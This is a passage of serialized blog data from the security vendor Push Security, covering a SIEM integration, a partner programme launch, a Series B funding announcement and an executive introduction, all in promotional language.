include:",{"data":126856,"content":126857,"nodeType":1616},{},[126858,126887,126902,126917],{"data":126859,"content":126860,"nodeType":1570},{},[126861],{"data":126862,"content":126863,"nodeType":866},{},[126864,126869,126873,126883],{"data":126865,"marks":126866,"value":126868,"nodeType":865},{},[126867],{"type":926},"Detecting phishing attempts",{"data":126870,"marks":126871,"value":126872,"nodeType":865},{},[]," from ",{"data":126874,"content":126878,"nodeType":33606},{"target":126875},{"sys":126876},{"id":126877,"type":909,"linkType":910},"4EfGLsD4qOkE4AoTUoL83m",[126879],{"data":126880,"marks":126881,"value":126882,"nodeType":865},{},[],"AitM phishing tools",{"data":126884,"marks":126885,"value":126886,"nodeType":865},{},[]," like Evilginx or EvilNoVNC.",{"data":126888,"content":126889,"nodeType":1570},{},[126890],{"data":126891,"content":126892,"nodeType":866},{},[126893,126898],{"data":126894,"marks":126895,"value":126897,"nodeType":865},{},[126896],{"type":926},"Monitoring for suspicious activity or high-risk changes",{"data":126899,"marks":126900,"value":126901,"nodeType":865},{},[]," such as MFA method changes or reuse of corporate SSO passwords on other apps.",{"data":126903,"content":126904,"nodeType":1570},{},[126905],{"data":126906,"content":126907,"nodeType":866},{},[126908,126913],{"data":126909,"marks":126910,"value":126912,"nodeType":865},{},[126911],{"type":926},"Hardening identities and flagging poor hygiene behaviors",{"data":126914,"marks":126915,"value":126916,"nodeType":865},{},[],", such as logging into SSO-protected apps with local accounts or reusing passwords across business applications.",{"data":126918,"content":126919,"nodeType":1570},{},[126920],{"data":126921,"content":126922,"nodeType":866},{},[126923,126928],{"data":126924,"marks":126925,"value":126927,"nodeType":865},{},[126926],{"type":926},"Detecting the use of stolen session tokens",{"data":126929,"marks":126930,"value":126931,"nodeType":865},{},[],", indicating a compromised identity and device, as discussed earlier.",{"data":126933,"content":126934,"nodeType":981},{},[126935],{"data":126936,"marks":126937,"value":113824,"nodeType":865},{},[],{"data":126939,"content":126940,"nodeType":866},{},[126941,126945,126952],{"data":126942,"marks":126943,"value":126944,"nodeType":865},{},[],"To see Push in action, ",{"data":126946,"content":126948,"nodeType":889},{"uri":126947},"/demo/",[126949],{"data":126950,"marks":126951,"value":14066,"nodeType":865},{},[],{"data":126953,"marks":126954,"value":126955,"nodeType":865},{},[],". We’ll be happy to show you our session theft detection feature, along with how we discover all the apps your employees are using, even the ones not behind SSO, and how we detect vulnerable identities and stop identity attacks with browser-based controls.",{"data":126957,"content":126958,"nodeType":866},{},[126959,126963,126970],{"data":126960,"marks":126961,"value":126962,"nodeType":865},{},[],"For technical setup details on the Push-Panther integration, refer to the ",{"data":126964,"content":126965,"nodeType":889},{"uri":126682},[126966],{"data":126967,"marks":126968,"value":126969,"nodeType":865},{},[],"Panther documentation",{"data":126971,"marks":126972,"value":1615,"nodeType":865},{},[],"Combining the powers of Push and Panther to stop identity attacks","Push is excited to partner with Panther, bringing our unique browser telemetry to your SIEM.","2024-06-25T00:00:00.000Z","combining-the-powers-of-push-and-panther-to-stop-identity-attacks",{"items":126978},[126979,126981],{"sys":126980,"name":342},{"id":4642},{"sys":126982,"name":126984},{"id":126983},"5jk0kqjSdSK2L0YiistQjY","Release notes",{"items":126986},[126987],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":126988},{"url":6503},"better-together-identity-telemetry-from-push-smart-storage-and-searches-from","blog/better-together-identity-telemetry-from-push-smart-storage-and-searches-from",{"json":126992},{"data":126993,"content":126994,"nodeType":1382},{},[126995],{"data":126996,"content":126997,"nodeType":866},{},[126998],{"data":126999,"marks":127000,"value":127001,"nodeType":865},{},[],"We’re thrilled to announce our partnership with Cribl to make it much easier to snapshot, transform, and query Push telemetry using Cribl’s data management solutions.\n","We’re thrilled to announce our partnership with Cribl to make it much easier to snapshot, transform, and query Push telemetry.",{"id":127004,"publishedAt":127005},"1sQvkmXRQaFGRpuE01KeF1","2026-08-12T11:54:09.517Z",{"items":127007},[127008],{"sys":127009,"name":7796},{"id":7795},{"items":127011},[127012,127014,127016,127018,127020,127022,127024,127026,127028],{"sys":127013,"name":342,"slug":343,"tier":31},{"id":339},{"sys":127015,"name":297,"slug":298,"tier":31},{"id":294},{"sys":127017,"name":413,"slug":414,"tier":31},{"id":410},{"sys":127019,"name":279,"slug":280,"tier":31},{"id":276},{"sys":127021,"name":598,"slug":599,"tier":45},{"id":595},{"sys":127023,"name":324,"slug":325,"tier":45},{"id":321},{"sys":127025,"name":571,"slug":572,"tier":45},{"id":568},{"sys":127027,"name":404,"slug":405,"tier":45},{"id":401},{"sys":127029,"name":351,"slug":352,"tier":45},{"id":348},"uZXz04NhobF_wEUTD8_eR_i2okOi_u_u_ikmCJI6pFA",{"id":127032,"title":127033,"authorsCollection":127034,"content":127042,"extension":228,"faqItemsCollection":127300,"faqTitle":59,"featured":6,"hashTags":59,"meta":127302,"metaTitle":127303,"ogImage":59,"postType":127304,"publishedDate":127305,"relatedBlogPostsCollection":127306,"slug":127919,"stem":127920,"subtitle":127921,"summary":127922,"synopsis":127932,"sys":127933,"tagsCollection":127936,"topicsCollection":127940,"__hash__":127954},"blog/blog/introducing-the-push-security-advisor-network-psan.json","Introducing the Push Security Advisor Network (PSAN)",{"items":127035},[127036],{"fullName":127037,"firstName":127038,"jobTitle":127039,"socialLinks":59,"profilePicture":127040},"Bryan Wallace","Bryan","VP Global Partnerships",{"url":127041},"https://images.ctfassets.net/y1cdw1ablpvd/GkYDNlk2Sb4nnlkwhEm0K/d24c0ac5f60270172861317dc55be9cd/headshot__1__1.png",{"json":127043,"links":127292},{"data":127044,"content":127045,"nodeType":1382},{},[127046,127061,127068,127071,127079,127086,127093,127101,127123,127126,127134,127141,127204,127223,127226,127234,127241,127280,127286],{"data":127047,"content":127048,"nodeType":866},{},[127049,127053,127058],{"data":127050,"marks":127051,"value":127052,"nodeType":865},{},[],"At Push Security, our mission has always been to empower security teams to defend against today’s most persistent threats—namely, identity attacks such as phishing, credential-based attacks, session hijacking, and account takeover. Today, we’re thrilled to take that mission one step further with the launch of our new global partner program: the ",{"data":127054,"marks":127055,"value":127057,"nodeType":865},{},[127056],{"type":926},"Push Security Advisor Network (PSAN)",{"data":127059,"marks":127060,"value":1615,"nodeType":865},{},[],{"data":127062,"content":127063,"nodeType":866},{},[127064],{"data":127065,"marks":127066,"value":127067,"nodeType":865},{},[],"Designed for cybersecurity solution providers and technology alliance partners, PSAN is more than just a channel program—it’s a community built for collaboration, growth, and stronger security outcomes for organizations navigating the risks of SaaS and cloud adoption.",{"data":127069,"content":127070,"nodeType":972},{},[],{"data":127072,"content":127073,"nodeType":981},{},[127074],{"data":127075,"marks":127076,"value":127078,"nodeType":865},{},[127077],{"type":926},"Why PSAN, Why Now?",{"data":127080,"content":127081,"nodeType":866},{},[127082],{"data":127083,"marks":127084,"value":127085,"nodeType":865},{},[],"Identity has become the new perimeter. With the explosion of SaaS tools and hybrid work, attackers are finding ways to bypass traditional security controls by targeting identities—using advanced phishing attacks, infostealers, and compromised credentials to access the cloud applications and services that are now the core of business IT. ",{"data":127087,"content":127088,"nodeType":866},{},[127089],{"data":127090,"marks":127091,"value":127092,"nodeType":865},{},[],"Security teams need better visibility and control over how employees interact with cloud services, and they need trusted partners to help deliver it.",{"data":127094,"content":127095,"nodeType":866},{},[127096],{"data":127097,"marks":127098,"value":127100,"nodeType":865},{},[127099],{"type":926},"That’s where PSAN comes in.",{"data":127102,"content":127103,"nodeType":7584},{},[127104,127112],{"data":127105,"content":127106,"nodeType":866},{},[127107],{"data":127108,"marks":127109,"value":127111,"nodeType":865},{},[127110],{"type":898},"Security teams need an answer to today’s sophisticated phishing and identity attacks. With PSAN, we’re bringing together top-tier partners to help businesses proactively address identity-based threats, reduce risk, and strengthen their security posture.",{"data":127113,"content":127114,"nodeType":866},{},[127115,127120],{"data":127116,"marks":127117,"value":127119,"nodeType":865},{},[127118],{"type":926},"Bryan Wallace, Vice President of Global Partnerships at Push Security",{"data":127121,"marks":127122,"value":6719,"nodeType":865},{},[],{"data":127124,"content":127125,"nodeType":972},{},[],{"data":127127,"content":127128,"nodeType":981},{},[127129],{"data":127130,"marks":127131,"value":127133,"nodeType":865},{},[127132],{"type":926},"What Partners Can Expect",{"data":127135,"content":127136,"nodeType":866},{},[127137],{"data":127138,"marks":127139,"value":127140,"nodeType":865},{},[],"PSAN is purpose-built to make our partners successful—technically, operationally, and financially. Members of the Push Security Advisor Network gain access to:",{"data":127142,"content":127143,"nodeType":1616},{},[127144,127159,127174,127189],{"data":127145,"content":127146,"nodeType":1570},{},[127147],{"data":127148,"content":127149,"nodeType":866},{},[127150,127155],{"data":127151,"marks":127152,"value":127154,"nodeType":865},{},[127153],{"type":926},"Technical Enablement & Training\n",{"data":127156,"marks":127157,"value":127158,"nodeType":865},{},[]," Get hands-on certifications and deep technical guidance to become a trusted Push Security expert.",{"data":127160,"content":127161,"nodeType":1570},{},[127162],{"data":127163,"content":127164,"nodeType":866},{},[127165,127170],{"data":127166,"marks":127167,"value":127169,"nodeType":865},{},[127168],{"type":926},"Sales & Marketing Support\n",{"data":127171,"marks":127172,"value":127173,"nodeType":865},{},[]," Leverage co-marketing campaigns, sales tools, and dedicated resources to accelerate your go-to-market efforts.",{"data":127175,"content":127176,"nodeType":1570},{},[127177],{"data":127178,"content":127179,"nodeType":866},{},[127180,127185],{"data":127181,"marks":127182,"value":127184,"nodeType":865},{},[127183],{"type":926},"Exclusive Partner Incentives\n",{"data":127186,"marks":127187,"value":127188,"nodeType":865},{},[]," Enjoy industry-best margins, deal registration benefits, and performance-based rewards designed to maximize profitability.",{"data":127190,"content":127191,"nodeType":1570},{},[127192],{"data":127193,"content":127194,"nodeType":866},{},[127195,127200],{"data":127196,"marks":127197,"value":127199,"nodeType":865},{},[127198],{"type":926},"Collaborative Threat Intelligence\n",{"data":127201,"marks":127202,"value":127203,"nodeType":865},{},[]," Stay ahead of attackers with access to real-time insights and identity-focused threat data curated by our experts.",{"data":127205,"content":127206,"nodeType":7584},{},[127207,127215],{"data":127208,"content":127209,"nodeType":866},{},[127210],{"data":127211,"marks":127212,"value":127214,"nodeType":865},{},[127213],{"type":898},"With the launch of PSAN, we're empowering partners to deliver stronger, more scalable human-layer security solutions to customers around the world. PSAN reflects our commitment to a partner-first, partner-only growth strategy and to helping organizations reduce risk where it matters most—at the user level.",{"data":127216,"content":127217,"nodeType":866},{},[127218],{"data":127219,"marks":127220,"value":127222,"nodeType":865},{},[127221],{"type":926},"Kevin Arsenault, CRO at Push Security",{"data":127224,"content":127225,"nodeType":972},{},[],{"data":127227,"content":127228,"nodeType":981},{},[127229],{"data":127230,"marks":127231,"value":127233,"nodeType":865},{},[127232],{"type":926},"Let’s Grow Together",{"data":127235,"content":127236,"nodeType":866},{},[127237],{"data":127238,"marks":127239,"value":127240,"nodeType":865},{},[],"At Push, we believe that great partnerships are built on trust, enablement, and shared outcomes. PSAN is your opportunity to differentiate your security offerings, expand your business, and join a growing network of experts redefining what identity security looks like in a SaaS-first world.",{"data":127242,"content":127243,"nodeType":866},{},[127244,127248,127253,127256,127265,127269,127277],{"data":127245,"marks":127246,"value":127247,"nodeType":865},{},[],"🔗 ",{"data":127249,"marks":127250,"value":127252,"nodeType":865},{},[127251],{"type":926},"Ready to become a PSAN partner?",{"data":127254,"marks":127255,"value":2688,"nodeType":865},{},[],{"data":127257,"content":127259,"nodeType":889},{"uri":127258},"https://pushsecurity.com/partner",[127260],{"data":127261,"marks":127262,"value":127264,"nodeType":865},{},[127263],{"type":943},"Apply here",{"data":127266,"marks":127267,"value":127268,"nodeType":865},{},[],". Or join our ",{"data":127270,"content":127272,"nodeType":889},{"uri":127271},"https://pushsecurity.com/webinar/partner",[127273],{"data":127274,"marks":127275,"value":127276,"nodeType":865},{},[],"upcoming webinar on June 11",{"data":127278,"marks":127279,"value":2302,"nodeType":865},{},[],{"data":127281,"content":127285,"nodeType":912},{"target":127282},{"sys":127283},{"id":127284,"type":909,"linkType":910},"snpEY0SZoTAy3JG1GiZsj",[],{"data":127287,"content":127288,"nodeType":866},{},[127289],{"data":127290,"marks":127291,"value":21,"nodeType":865},{},[],{"entries":127293},{"hyperlink":127294,"inline":127295,"block":127296},[],[],[127297],{"sys":127298,"__typename":1414,"type":1415,"ctaText":127299,"buttonLabel":68733,"buttonColour":114626,"buttonUrl":127271},{"id":127284},"Learn about the Push Security Advisor Network and hear our experts discuss the evolution of phishing threats in our upcoming virtual event.",{"items":127301},[],{},"Launching our partner-first programme","company-news","2025-05-20T00:00:00.000Z",{"items":127307},[127308,127746],{"__typename":1429,"sys":127309,"content":127311,"title":127728,"synopsis":127729,"hashTags":59,"publishedDate":127730,"slug":127731,"tagsCollection":127732,"authorsCollection":127738},{"id":127310},"4SvRrpqC8WswOmKbgr2RMM",{"json":127312},{"data":127313,"content":127314,"nodeType":1382},{},[127315,127321,127328,127335,127355,127358,127365,127372,127395,127402,127409,127416,127419,127426,127433,127440,127447,127454,127461,127467,127470,127477,127484,127491,127498,127501,127508,127515,127522,127529,127532,127539,127589,127632,127639,127642,127648,127655,127662,127698,127716,127722],{"data":127316,"content":127320,"nodeType":912},{"target":127317},{"sys":127318},{"id":127319,"type":909,"linkType":910},"5Q1ArknoDbg1ubMHy7rBFH",[],{"data":127322,"content":127323,"nodeType":866},{},[127324],{"data":127325,"marks":127326,"value":127327,"nodeType":865},{},[],"Push was born out of a simple but urgent realization: Identity has become the new battleground in cybersecurity. ",{"data":127329,"content":127330,"nodeType":866},{},[127331],{"data":127332,"marks":127333,"value":127334,"nodeType":865},{},[],"As attackers take advantage of the massive changes to enterprise IT and working practices spurred on by the pandemic, we’re seeing the limitations of conventional controls exposed. And as attackers realize this, they’re doubling down on identity exploitation.",{"data":127336,"content":127337,"nodeType":866},{},[127338,127342,127351],{"data":127339,"marks":127340,"value":127341,"nodeType":865},{},[],"That urgency only intensified following the ",{"data":127343,"content":127344,"nodeType":889},{"uri":3488},[127345],{"data":127346,"marks":127347,"value":127350,"nodeType":865},{},[127348,127349],{"type":943},{"type":926},"Snowflake breach in the summer of 2024",{"data":127352,"marks":127353,"value":127354,"nodeType":865},{},[],", which put the spotlight on how vulnerable internet-facing identities really are. For many security teams, it was a wake-up call — while for attackers, it was a feeding frenzy. ",{"data":127356,"content":127357,"nodeType":972},{},[],{"data":127359,"content":127360,"nodeType":981},{},[127361],{"data":127362,"marks":127363,"value":127364,"nodeType":865},{},[],"Attackers aren’t hacking in, they’re logging in  ",{"data":127366,"content":127367,"nodeType":866},{},[127368],{"data":127369,"marks":127370,"value":127371,"nodeType":865},{},[],"Identity is the new route of least resistance for attackers. They have developed TTPs to bypass traditional controls, evade detection and execute attacks faster than defenders can respond:",{"data":127373,"content":127374,"nodeType":1616},{},[127375,127385],{"data":127376,"content":127377,"nodeType":1570},{},[127378],{"data":127379,"content":127380,"nodeType":866},{},[127381],{"data":127382,"marks":127383,"value":127384,"nodeType":865},{},[],"Phishing attacks are reliably bypassing preventative controls like MFA, and predominantly email- and network-based detection tools.",{"data":127386,"content":127387,"nodeType":1570},{},[127388],{"data":127389,"content":127390,"nodeType":866},{},[127391],{"data":127392,"marks":127393,"value":127394,"nodeType":865},{},[],"Attackers are leveraging compromised credentials at scale to take over accounts on business apps over the internet, fed by (and feeding) a vicious cycle of data breaches.",{"data":127396,"content":127397,"nodeType":866},{},[127398],{"data":127399,"marks":127400,"value":127401,"nodeType":865},{},[],"These attacks aren’t new. Things like phishing are amongst the oldest tricks in the book. But people are waking up to how sophisticated these attacks are becoming — and how much the change in business IT has undermined and exposed traditional controls.  ",{"data":127403,"content":127404,"nodeType":866},{},[127405],{"data":127406,"marks":127407,"value":127408,"nodeType":865},{},[],"It’s not surprising that attackers are shifting their focus away from the well-defended endpoint and network environments they’ve focused on in the last decade or so to take advantage. ",{"data":127410,"content":127411,"nodeType":866},{},[127412],{"data":127413,"marks":127414,"value":127415,"nodeType":865},{},[],"This is the problem my co-founders and I resolved to solve when we started this crazy journey. We’d been on the frontline of this threat evolution throughout our careers, first as ethical hackers tasked with breaking into the most secure companies in the world, and then turning these skills to keeping the bad guys out. We were convinced that this was the way the wind was blowing (even if most of our peers didn’t quite believe us yet!). ",{"data":127417,"content":127418,"nodeType":972},{},[],{"data":127420,"content":127421,"nodeType":981},{},[127422],{"data":127423,"marks":127424,"value":127425,"nodeType":865},{},[],"Modern problems require modern solutions",{"data":127427,"content":127428,"nodeType":866},{},[127429],{"data":127430,"marks":127431,"value":127432,"nodeType":865},{},[],"If identity is the new perimeter, then the browser is effectively the new Operating System — the place where users are working, and where the apps they’re using to do their jobs are running. ",{"data":127434,"content":127435,"nodeType":866},{},[127436],{"data":127437,"marks":127438,"value":127439,"nodeType":865},{},[],"We knew that unlocking the power of the browser was the key to solving identity security. I’m so proud to be able to say that we built the world’s first browser-based identity security platform, and being in the browser has been fundamental to what we’ve been able to achieve. ",{"data":127441,"content":127442,"nodeType":866},{},[127443],{"data":127444,"marks":127445,"value":127446,"nodeType":865},{},[],"Immediately, we found the level of accuracy on identity data to be far superior to the alternatives such as API (limited to the apps you know about and impeded by the nuances of APIs) and email (flooded with false positives). By observing identities in real time as users logged into apps, we could build a picture of the entire identity surface — even for unmanaged, previously unknown apps. It was a game changer for us. ",{"data":127448,"content":127449,"nodeType":866},{},[127450],{"data":127451,"marks":127452,"value":127453,"nodeType":865},{},[],"Then, we turned our attention to shutting down attacks. We found unique ways to detect, intercept, and block phishing pages in real time, which has seen us detect previously unseen phishing kits the first time they’re used. If you understand how phishing blocklists typically work, you’ll know how much of a game changer this is — no more waiting for a victim to report (or fall victim) before you can take action. ",{"data":127455,"content":127456,"nodeType":866},{},[127457],{"data":127458,"marks":127459,"value":127460,"nodeType":865},{},[],"We also harnessed our data to automatically verify where employees are using stolen credentials, finding the needle in the haystack where a compromised credential in millions of lines of an infostealer log matches the real, valid credential your employee is using — on one of hundreds of apps in your estate. ",{"data":127462,"content":127466,"nodeType":912},{"target":127463},{"sys":127464},{"id":127465,"type":909,"linkType":910},"Wvc3s8CnI9W7qoZdaCDOv",[],{"data":127468,"content":127469,"nodeType":972},{},[],{"data":127471,"content":127472,"nodeType":981},{},[127473],{"data":127474,"marks":127475,"value":127476,"nodeType":865},{},[],"Staying ahead of attackers",{"data":127478,"content":127479,"nodeType":866},{},[127480],{"data":127481,"marks":127482,"value":127483,"nodeType":865},{},[],"Research is at the heart of everything we do at Push — it’s our heritage. That background gives us an edge when it comes to identifying how attackers think, and more importantly, how to stop them. This new funding allows us to invest heavily in staying ahead of those threats, pairing our R&D with our product roadmap to ensure the features we build are prioritized by the impact they’ll have on securing our customers. ",{"data":127485,"content":127486,"nodeType":866},{},[127487],{"data":127488,"marks":127489,"value":127490,"nodeType":865},{},[],"Right now, the best place to detect and respond to these attacks is in the browser, the place where work happens and identities are accessed — and where attackers are targeting their victims. ",{"data":127492,"content":127493,"nodeType":866},{},[127494],{"data":127495,"marks":127496,"value":127497,"nodeType":865},{},[],"But honestly, if there came a time when this wasn’t the case anymore, we’d follow the attacker to wherever they go next. We’re not here to build shelfware, we’re here to make a real difference for defenders — and make attackers’ lives much harder. ",{"data":127499,"content":127500,"nodeType":972},{},[],{"data":127502,"content":127503,"nodeType":981},{},[127504],{"data":127505,"marks":127506,"value":127507,"nodeType":865},{},[],"Supporting security teams where they are today",{"data":127509,"content":127510,"nodeType":866},{},[127511],{"data":127512,"marks":127513,"value":127514,"nodeType":865},{},[],"When we started Push, identity threats weren’t yet top of mind for many companies. And understandably, there was a healthy degree of skepticism when we set out to leverage the browser. It was uncharted territory for security professionals. ",{"data":127516,"content":127517,"nodeType":866},{},[127518],{"data":127519,"marks":127520,"value":127521,"nodeType":865},{},[],"But I like to think we’ve proven its value — and we’re barely scratching the surface of what’s possible.",{"data":127523,"content":127524,"nodeType":866},{},[127525],{"data":127526,"marks":127527,"value":127528,"nodeType":865},{},[],"With this new funding, we’ll continue to meet that demand with an even more powerful platform, stronger customer support, and deeper integrations that allow security teams to do more, faster.  I can’t wait to show you what we’ve got planned next. ",{"data":127530,"content":127531,"nodeType":972},{},[],{"data":127533,"content":127534,"nodeType":981},{},[127535],{"data":127536,"marks":127537,"value":127538,"nodeType":865},{},[],"Thank you to our investors and customers",{"data":127540,"content":127541,"nodeType":866},{},[127542,127546,127551,127555,127560,127563,127568,127572,127577,127580,127585],{"data":127543,"marks":127544,"value":127545,"nodeType":865},{},[],"We’re incredibly grateful to our Series B lead investor, ",{"data":127547,"marks":127548,"value":127550,"nodeType":865},{},[127549],{"type":926},"Redpoint Ventures",{"data":127552,"marks":127553,"value":127554,"nodeType":865},{},[]," with participation from ",{"data":127556,"marks":127557,"value":127559,"nodeType":865},{},[127558],{"type":926},"Datadog Ventures",{"data":127561,"marks":127562,"value":4988,"nodeType":865},{},[],{"data":127564,"marks":127565,"value":127567,"nodeType":865},{},[127566],{"type":926},"B3 Capital ",{"data":127569,"marks":127570,"value":127571,"nodeType":865},{},[],"– all new investors in this round – and to our returning partners at ",{"data":127573,"marks":127574,"value":127576,"nodeType":865},{},[127575],{"type":926},"Decibel",{"data":127578,"marks":127579,"value":4988,"nodeType":865},{},[],{"data":127581,"marks":127582,"value":127584,"nodeType":865},{},[127583],{"type":926},"Alphabet’s Google Ventures",{"data":127586,"marks":127587,"value":127588,"nodeType":865},{},[],", along with angel investors who have backed us since the beginning. I truly believe that we have the ultimate combination in partners and advisors who have been at the forefront of scaling transformative technology and cybersecurity companies that will be integral in driving us forward.",{"data":127590,"content":127591,"nodeType":866},{},[127592,127596,127601,127605,127610,127619,127623,127628],{"data":127593,"marks":127594,"value":127595,"nodeType":865},{},[],"A special thank you to ",{"data":127597,"marks":127598,"value":127600,"nodeType":865},{},[127599],{"type":926},"Erica Brescia and Jordan Segall at Redpoint ",{"data":127602,"marks":127603,"value":127604,"nodeType":865},{},[],"— your deep understanding of the security industry, your belief in our team and the problem we’re solving, and your support as we scale mean everything. And to our independent investors ",{"data":127606,"marks":127607,"value":127609,"nodeType":865},{},[127608],{"type":926},"Jon Oberheide, Dug Song, Geoff Belknap, Royal Hansen, Haroon Meer, Ollie Whitehouse, ",{"data":127611,"content":127613,"nodeType":889},{"uri":127612},"https://pushsecurity.com/about/#investors",[127614],{"data":127615,"marks":127616,"value":127618,"nodeType":865},{},[127617],{"type":943},"and others",{"data":127620,"marks":127621,"value":127622,"nodeType":865},{},[]," as well as the teams at ",{"data":127624,"marks":127625,"value":127627,"nodeType":865},{},[127626],{"type":926},"Google Ventures, Decibel, and Datadog",{"data":127629,"marks":127630,"value":127631,"nodeType":865},{},[],": thank you for your trust, your insights, and your commitment to building the future of identity security together. We really couldn’t have done it without you. ",{"data":127633,"content":127634,"nodeType":866},{},[127635],{"data":127636,"marks":127637,"value":127638,"nodeType":865},{},[],"To our customers: thank you for trusting us. To our team: thank you for building something bold. To our investors: thank you for believing in what’s next.",{"data":127640,"content":127641,"nodeType":972},{},[],{"data":127643,"content":127644,"nodeType":981},{},[127645],{"data":127646,"marks":127647,"value":13221,"nodeType":865},{},[],{"data":127649,"content":127650,"nodeType":866},{},[127651],{"data":127652,"marks":127653,"value":127654,"nodeType":865},{},[],"We’re focused on speed: faster response to emerging threats, faster product innovation, and faster time to value for the security teams we serve. Our vision has always been to empower people, not just protect them — to guide users toward secure decisions and help security teams operate with clarity and confidence.",{"data":127656,"content":127657,"nodeType":866},{},[127658],{"data":127659,"marks":127660,"value":127661,"nodeType":865},{},[],"This Series B isn’t just fuel for the fire — it’s the start of a whole new chapter. Let’s build something iconic, together. ✌️ ",{"data":127663,"content":127664,"nodeType":866},{},[127665,127670,127680,127684,127694],{"data":127666,"marks":127667,"value":127669,"nodeType":865},{},[127668],{"type":926},"To learn more about our mission and technology, follow us on ",{"data":127671,"content":127673,"nodeType":889},{"uri":127672},"https://www.linkedin.com/company/push-security",[127674],{"data":127675,"marks":127676,"value":127679,"nodeType":865},{},[127677,127678],{"type":943},{"type":926},"LinkedIn",{"data":127681,"marks":127682,"value":4988,"nodeType":865},{},[127683],{"type":926},{"data":127685,"content":127687,"nodeType":889},{"uri":127686},"https://twitter.com/PushSecurity",[127688],{"data":127689,"marks":127690,"value":127693,"nodeType":865},{},[127691,127692],{"type":943},{"type":926},"X",{"data":127695,"marks":127696,"value":1615,"nodeType":865},{},[127697],{"type":926},{"data":127699,"content":127700,"nodeType":866},{},[127701,127704,127713],{"data":127702,"marks":127703,"value":21,"nodeType":865},{},[],{"data":127705,"content":127707,"nodeType":889},{"uri":127706},"https://pushsecurity.com/news/push-security-secures-30-million-series-b-funding",[127708],{"data":127709,"marks":127710,"value":127712,"nodeType":865},{},[127711],{"type":926},"Find out more in the press release. ",{"data":127714,"marks":127715,"value":21,"nodeType":865},{},[],{"data":127717,"content":127721,"nodeType":912},{"target":127718},{"sys":127719},{"id":127720,"type":909,"linkType":910},"2gUjr6XIcEDVEqZtxG71aV",[],{"data":127723,"content":127724,"nodeType":866},{},[127725],{"data":127726,"marks":127727,"value":21,"nodeType":865},{},[],"Series B and Beyond: Securing the New Perimeter","I’m thrilled to share that Push Security has raised our Series B funding. This is a huge moment for us and our customers in the fight against identity attacks. ","2025-04-24T00:00:00.000Z","series-b-and-beyond",{"items":127733},[127734],{"sys":127735,"name":127737},{"id":127736},"4EtskIWlj3SOH3UHbFR8uG","Company news",{"items":127739},[127740],{"fullName":127741,"firstName":127742,"jobTitle":127743,"profilePicture":127744},"Adam Bateman","Adam","Co-founder / CEO",{"url":127745},"https://images.ctfassets.net/y1cdw1ablpvd/3Bt9feB72kxdWlS0hvpldi/904bdb8b20d98e53c574f8be2f60996b/Push_Founders_at_Cahoots_October_28_2022_by_Doug_Coombe-20.jpg",{"__typename":1429,"sys":127747,"content":127749,"title":127903,"synopsis":127904,"hashTags":59,"publishedDate":127905,"slug":127906,"tagsCollection":127907,"authorsCollection":127911},{"id":127748},"7yvGkRGcpQcS7wYfH3xA17",{"json":127750},{"data":127751,"content":127752,"nodeType":1382},{},[127753,127760,127776,127783,127790,127797,127804,127811,127827,127834,127859,127878,127885],{"data":127754,"content":127755,"nodeType":866},{},[127756],{"data":127757,"marks":127758,"value":127759,"nodeType":865},{},[],"Over the course of my career, I have had the chance to work with some incredible teams at places like Proofpoint and CrowdStrike, both of which were trailblazers in protecting clients from advanced adversary attacks. As I take on this new role at Push Security, I am excited to be joining another team where the foresight into how cyber attacks are evolving is front and center. As attackers shift to infiltrating organizations via user identities, Push is meeting that shift by pioneering a new approach in the identity threat detection and response (ITDR) space, with browser-based identity protection. ",{"data":127761,"content":127762,"nodeType":866},{},[127763,127767,127772],{"data":127764,"marks":127765,"value":127766,"nodeType":865},{},[],"When I first sat down with our CEO Adam Bateman and heard his vision, it was clear to me that Push recognizes that attacks are evolving and the bad actors have set their sights on the new perimeter – identity. Recent attacks making headlines, like the Snowflake incident over the summer, make it clear that cyber attacks are fundamentally changing. It’s a bit of a cliche, but hackers don’t hack in anymore, they",{"data":127768,"marks":127769,"value":127771,"nodeType":865},{},[127770],{"type":898}," log in",{"data":127773,"marks":127774,"value":127775,"nodeType":865},{},[],". Push is at the forefront of tackling this problem in a way that no one else is addressing. Our approach to browser telemetry is a game-changer in the way we can approach and defend against identity attacks.",{"data":127777,"content":127778,"nodeType":1317},{},[127779],{"data":127780,"marks":127781,"value":127782,"nodeType":865},{},[],"Legacy ITDR-aligned solutions feel like bolt-ons, not true problem solvers",{"data":127784,"content":127785,"nodeType":866},{},[127786],{"data":127787,"marks":127788,"value":127789,"nodeType":865},{},[],"Talking with industry friends and advisors before taking this new role confirmed what I believe: that Push has the potential to drive a much-needed evolution in identity security. The modern ITDR space is still relatively early, with many pain points around the blind spots of existing tools and a less-than-satisfactory state of SaaS logging, leaving many security teams in the dark. ",{"data":127791,"content":127792,"nodeType":866},{},[127793],{"data":127794,"marks":127795,"value":127796,"nodeType":865},{},[],"In a world dominated by vendors who have lost focus on providing best-of-breed features designed for specific problems in favor of very broad product portfolios that try to solve everything-everywhere-all-at-once, ITDR is not yet a problem space that is being adequately served by traditional vendors and tools. ",{"data":127798,"content":127799,"nodeType":866},{},[127800],{"data":127801,"marks":127802,"value":127803,"nodeType":865},{},[],"Push Security’s unique solution has the power to move the industry forward in ways that could set new standards for gathering deeper data on these attacks, as well as responding and intercepting them as they happen – just as EDR did a decade ago.",{"data":127805,"content":127806,"nodeType":866},{},[127807],{"data":127808,"marks":127809,"value":127810,"nodeType":865},{},[],"When I joined Proofpoint, I decided to leave my desk behind to carry a bag and get on the road. This gave me a first hand view of what challenges security teams were facing and what was necessary to help solve them. It put me at the cross section of cyber security and compliance, and we built teams and solutions that made it possible for organizations to achieve these milestones. ",{"data":127812,"content":127813,"nodeType":866},{},[127814,127818,127823],{"data":127815,"marks":127816,"value":127817,"nodeType":865},{},[],"I then had an incredible opportunity to do it all over again with CrowdStrike, where I joined a very talented early team and witnessed the explosive growth in EDR. I see a parallel here with Push; nobody knew they needed EDR until new vendors brought it forward. At the time, the critics said ‘",{"data":127819,"marks":127820,"value":127822,"nodeType":865},{},[127821],{"type":898},"hey, we’re good with anti-virus, why would we need anything else?",{"data":127824,"marks":127825,"value":127826,"nodeType":865},{},[],"’ Of course, you’d be laughed out of the room for holding the same view today. Similarly, I believe we’ll see security products in the browser become equally indispensable. ",{"data":127828,"content":127829,"nodeType":1317},{},[127830],{"data":127831,"marks":127832,"value":127833,"nodeType":865},{},[],"Push can be a power tool for security teams",{"data":127835,"content":127836,"nodeType":866},{},[127837,127841,127846,127850,127855],{"data":127838,"marks":127839,"value":127840,"nodeType":865},{},[],"Getting access to browser telemetry in a smart, impactful way has been a tough nut to crack, but Push is bringing it front-and-center. It’s one of those things that makes you think: 